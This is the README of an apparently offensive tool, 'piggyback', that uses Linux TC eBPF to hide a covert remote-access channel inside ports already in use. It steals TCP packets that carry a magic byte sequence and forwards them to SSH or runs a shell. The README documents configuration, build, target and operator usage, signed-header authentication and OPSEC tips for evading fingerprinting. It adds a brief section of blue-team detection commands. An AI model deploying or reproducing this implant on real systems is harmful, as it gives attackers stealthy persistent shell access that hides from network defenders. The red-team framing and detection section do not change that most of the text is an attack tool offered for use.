166 lines
5.5 KiB
Markdown
166 lines
5.5 KiB
Markdown
# piggyback
|
|
|
|
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use,
|
|
steals matching ones before the application sees them, and forwards or executes them.
|
|
Normal traffic is unaffected. Zero changes to existing services.
|
|
|
|
```
|
|
Mode 1 — Plain TCP
|
|
Client Server (:80)
|
|
│── TCP packet ────────────→ TC eBPF ingress
|
|
│ [MAGIC][header][payload] magic match?
|
|
│ YES → TC_ACT_STOLEN → daemon
|
|
│ NO → TC_ACT_OK → app (nginx etc.)
|
|
|
|
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
|
|
Client Middleware (:443) Server (:80)
|
|
│── valid TLS ──→ │ │
|
|
│ [MAGIC] │── [MAGIC][...] ────────→ TC eBPF ingress
|
|
│ inside │ (inner bytes fwd) magic match? → same as Mode 1
|
|
```
|
|
|
|
Mode 2 is identical server-side. Client establishes real TLS with a configurable
|
|
SNI so middleware routing works. Server never handles TLS — simpler, smaller surface.
|
|
|
|
---
|
|
|
|
## Requirements
|
|
|
|
- Linux 5.8+ (ring buffer + sk_lookup)
|
|
- Root / `CAP_NET_ADMIN` + `CAP_BPF`
|
|
- `libbpf`, `clang`, `llvm`, `bpftool`, `libsodium`, `libssl`
|
|
|
|
```bash
|
|
# Fedora
|
|
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
|
|
# Debian/Ubuntu
|
|
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev
|
|
```
|
|
|
|
---
|
|
|
|
## Configuration
|
|
|
|
All config is compile-time. Edit the constants at the top of each file, then `make`.
|
|
|
|
### `piggyback.bpf.c` — eBPF kernel program
|
|
```c
|
|
#define PORTS { 80, 8080 } // TCP ports to watch (must match daemon LISTEN_PORT)
|
|
#define PORTS_N 2
|
|
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // magic byte sequence (keep in sync)
|
|
```
|
|
|
|
### `piggyback.c` — server daemon
|
|
```c
|
|
#define IFACE "" // "" = auto-detect default-route interface
|
|
#define LISTEN_PORT 80 // must match eBPF PORTS array
|
|
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
|
|
#define FWD_PORT 22 // default forward target port
|
|
#define SERVER_IP "1.2.3.4" // own public IPv4 (used in sig replay check)
|
|
#define VERBOSE 0
|
|
|
|
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature on every connection
|
|
#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... } // 32-byte pubkey from `make keygen`
|
|
```
|
|
|
|
### `pb-client.c` — client
|
|
```c
|
|
#define SERVER_IP "1.2.3.4"
|
|
#define SERVER_PORT 80
|
|
#define LOCAL_PORT 2222 // ssh -p 2222 localhost
|
|
|
|
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
|
|
#define SNI "" // required for MODE_TLS — change per engagement
|
|
|
|
#define KEY_PATH "" // Ed25519 private key PEM, or "" to disable auth
|
|
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
|
|
#define TARGET_IP "127.0.0.1" // forward target (ACTION_FORWARD)
|
|
#define TARGET_PORT 22
|
|
#define SHELL_CMD "bash" // (ACTION_SHELL)
|
|
```
|
|
|
|
> **SNI note**: using the same SNI across deployments is a fingerprint. Change per engagement.
|
|
|
|
---
|
|
|
|
## Build
|
|
|
|
```bash
|
|
make
|
|
```
|
|
|
|
### Generate Ed25519 keypair (for auth)
|
|
```bash
|
|
make keygen
|
|
# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c
|
|
# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target)
|
|
```
|
|
|
|
---
|
|
|
|
## Usage
|
|
|
|
```bash
|
|
# Server (target machine)
|
|
sudo ./piggyback
|
|
|
|
# Client (operator machine)
|
|
./pb-client
|
|
|
|
# Then connect locally
|
|
ssh -p 2222 user@localhost
|
|
```
|
|
|
|
No CLI flags — all config is baked into the binary at compile time.
|
|
|
|
---
|
|
|
|
## Auth flow (AUTH_ENABLED=1)
|
|
|
|
1. `make keygen` — generate Ed25519 keypair
|
|
2. Set `TRUSTED_PUBKEY` in `piggyback.c`, `AUTH_ENABLED=1`, recompile daemon
|
|
3. Set `KEY_PATH` in `pb-client.c`, recompile client
|
|
4. Client sends: `MAGIC` (6 bytes) + signed 80-byte header + optional shell cmd
|
|
5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring
|
|
6. On pass: dispatches action from header (`ACTION_FORWARD` or `ACTION_SHELL`)
|
|
7. On fail: connection dropped silently
|
|
|
|
Signed header format (80 bytes):
|
|
```
|
|
[0..7] unix timestamp, big-endian uint64
|
|
[8] action (0x01 = forward, 0x02 = shell)
|
|
[9..12] target IPv4 (forward) or zeros
|
|
[13..14] target port big-endian or zeros
|
|
[15] reserved
|
|
[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes)
|
|
```
|
|
|
|
Signature covers `SERVER_IP` — a captured packet cannot be replayed to a different host.
|
|
|
|
---
|
|
|
|
## Detection (Blue Team)
|
|
|
|
```bash
|
|
tc filter show dev eth0 ingress # TC eBPF filters on interface
|
|
bpftool prog list # all loaded eBPF programs
|
|
bpftool map list # eBPF maps (look for conn_state, pending, daemon_sock)
|
|
```
|
|
|
|
Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs
|
|
on internet-facing interfaces.
|
|
|
|
---
|
|
|
|
## Known Limitations
|
|
|
|
- **ACTION_FORWARD target is IPv4 only** — the signed header has 4 bytes for target IP;
|
|
IPv6 forward targets require header format extension
|
|
- **Replay ring is size-bounded** — 256 entries evicted by overwrite, not by time expiry;
|
|
with REPLAY_WINDOW_SEC=30 this is sufficient for normal use
|
|
- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back to
|
|
connect-back mode (works except behind strict NAT)
|
|
- **Magic must fit in first ~6 TCP payload bytes** — split across segments handled
|
|
by per-connection eBPF state machine, but only within a 6-byte sliding window
|
|
per packet; edge cases with very small MSS possible
|